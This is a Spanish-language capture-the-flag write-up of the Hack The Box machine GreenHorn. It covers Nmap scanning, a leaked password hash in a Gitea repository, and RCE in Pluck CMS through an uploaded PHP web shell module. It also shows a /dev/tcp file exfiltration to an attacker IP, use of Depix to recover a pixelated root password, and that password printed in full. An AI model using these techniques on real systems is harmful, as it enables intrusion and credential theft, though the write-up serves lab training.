Inicamos el escaneo con Nmap sobre todos lo puertos
sudo nmap 10.10.11.25 -p- -sS -n -Pn -v -open --min-rate 5000 -oG allPorts
Ahora sobre los puertos encontrados vamos a iniciar un scaneo de las versiones asi como hacer uso de los script mas usados para esos puertos
sudo nmap -p22,80,3000 -sCV -n -Pn --min-rate 5000 -open 10.10.11.25 -oN Targeted
una vez tenemos hecha la enumeracion de puertos asi como un poco los servicios, vamos a mirar el servicio web que esta corriendo por el puerto 80 (debemos meterlo en el /etc/host
)
algo que me llama la atencion es la palabra
admin
que hay abajo a la derecha, tambien vemos la tecnologia que esta usando por detras pluck
(es un cms de codigo abierto), vamos a listar todas la informacion util para una explotacion
-
Parametro
file
no parece hacer nada con texto normalpero cuando le metes
\
petainteresante
-
pagina de inicio de session y version de
pluck
usaday es vulnerable
respecto a la otra web http://10.10.11.25:3000/
, parece que tenemos un servicio de git que usa gitea
en su version 1.21.11
en este servicio podemos ver:
- usuarios:
Flo
,GreenAdmin
- un repositorio que parece ser un repo del servicio que esta corriendo por el puerto 80, algunos archivos interesantes pueden ser:
- el
.htaccess
ya que tiene definidos parametros para evitar la ejecucion de archivosphp
(pero concretamente en esa carpeta) - analizando los archivos he encontrado lo que parece ser una password en
sha512
- el
Vamos a usar la clave que hemos encontrado para iniciar session en el panel de admin del servidor
Cabe destacar que tal y como pone en los archivo, para identificar si el usuario esta logiado usa esta cadena y cuyo valor es 'pluck_loggedin' esto ya lo vimos en los archivos
Donde
$token
es:
en el cms nosotros podemos crear una pagina web, el problema es que ya nos lo estaba advirtiendo el .htaccess
y es que los .php
nos los va a mostrar como texto plano en los directorios (“files”,“images”)
lo mas probables es que el parámetros
file
busque dentro de la carpeta file (que tiene el .htaccess)
el .htaccess
decia que no se interpretaria el codigo php de ningun tipo (php_flag engine off
) pero como estamos escribiendo en la misma carpeta donde esta el .htaccess
puede que lo podamos sobre escribir, pero no funciona, despues de estar investigando resulta que esta version de pluck
tiene un parametro en el archivo install.php
(concretamente install.php?contents=
) que es vulnerable a stored xss, pero con eso no podemos hacer nada en este caso, si seguimos investigando vemos que hay un RCE a la hora de instalar un modulo
al parecer solo necesitamos comprimir un archivo
.php
y este luego se va a descomprimir en otro directorio que no contiene el .htaccess
de esta forma poder ejecutar codigo php
ahora comprimimos el archivo
zip modulo.zip cmd.php
vamos a subirlo y nos vamso a la ruta donde se instalan los modulos en este cms data/modules/<nombremodulo>/<archivo>
Genial!!!
vamos a crearnos una revershell y vamos a proceder con la enumeración para escalar privilegios, al parecer la password que hemos encontrado antes para entrar en el cms, tambien vale para cambiarnos de
www-data
a junior
Dentro de la carpeta de usuario vemos un archivo pdf
Vamos a pasarnos el archivo y verlo
- emisor
cat Using\ OpenVAS.pdf > /dev/tcp/10.10.14.118/4443
- receptor
nc -lnvp 4443 > miPDF.pdf
revisando el pdf vemos que hay una contraseña de lo que parecer ser root que esta com difuminada…, esto se puede solucionar, vamos a extraer la imagen del pdf (https://tools.pdf24.org/en/extract-images) vamos a descomprimir el archivo con unzip <archivo>
y ahora le pasamos depix
python3 depix.py -p ~/Desktop/jr117/HTB/GreenHorn/content/0.png -s images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png
Ahora tenemos esto
sidefromsidetheothersidesidefromsidetheotherside
y ya somos root
a